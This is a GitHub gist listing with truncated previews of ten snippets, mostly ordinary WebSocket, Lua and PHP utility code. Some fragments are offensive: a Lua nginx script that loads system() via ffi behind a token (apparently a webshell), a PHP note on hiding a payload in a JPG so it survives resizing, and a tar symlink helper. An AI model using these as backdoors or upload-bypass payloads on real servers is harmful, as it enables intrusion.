This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# coding=utf-8 | |
import os | |
import tarfile | |
def _tarfile(content_name, linkname): | |
if len(content_name) > 100: | |
print 'content_name error' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class WS | |
{ | |
var $master; // 连接 server 的 client | |
var $sockets = array(); // 不同状态的 socket 管理 | |
var $handshake = false; // 判断是否握手 | |
function __construct($address, $port) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var ws; | |
function ToggleConnectionClicked() { | |
try { | |
ws = new WebSocket("ws://127.0.0.1:2000");//连接服务器 | |
ws.onopen = function(event){alert("已经与服务器建立了连接\r\n当前连接状态:"+this.readyState);}; | |
ws.onmessage = function(event){alert("接收到服务器发送的数据:\r\n"+event.data);}; | |
ws.onclose = function(event){alert("已经与服务器断开连接\r\n当前连接状态:"+this.readyState);}; | |
ws.onerror = function(event){alert("WebSocket异常!");}; | |
} catch (ex) { | |
alert(ex.message); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<template> | |
<div> | |
</div> | |
</template> | |
<script> | |
export default { | |
data() { | |
return { | |
websock: null, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set global general_log=off; | |
truncate table general_log; | |
SET GLOBAL log_output='table'; | |
set global general_log=on; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local ffi = nil | |
local token = 'xxx' | |
ffi = require("ffi") | |
ffi.load("z") | |
ffi.cdef[[int system(const char * string);]] | |
if "POST" == ngx.var.request_method then | |
ngx.req.read_body() | |
local args, err = ngx.req.get_post_args() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function split( str,reps ) | |
local res = {} | |
string.gsub(str,'[^'..reps..']+',function ( w ) | |
table.insert(res,w) | |
end) | |
return res | |
end | |
local hashfile = '/data/hashgrep/hash_md5.vir' | |
if "GET" == ngx.var.request_method then | |
local args, err = ngx.req.get_uri_args() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations | |
caused by PHP functions imagecopyresized() and imagecopyresampled(). | |
It is necessary that the size and quality of the initial image are the same as those of the processed | |
image. | |
1) Upload an arbitrary image via secured files upload script | |
2) Save the processed image and launch: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function markdown(md){ | |
$.ajax({ | |
type: "POST", | |
url: "https://api.github.com/markdown", | |
contentType: "application/json", | |
data: JSON.stringify({ | |
"text": md, | |
"mode": "gfm", | |
"context": "github/gollum" | |
}), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
error_reporting(E_ALL | E_STRICT); | |
function op($var = "", $msg = "") { | |
if ($msg) { | |
echo "\t$msg \r\n"; | |
} | |
print_r($var); | |
echo "\r\n"; |
OlderNewer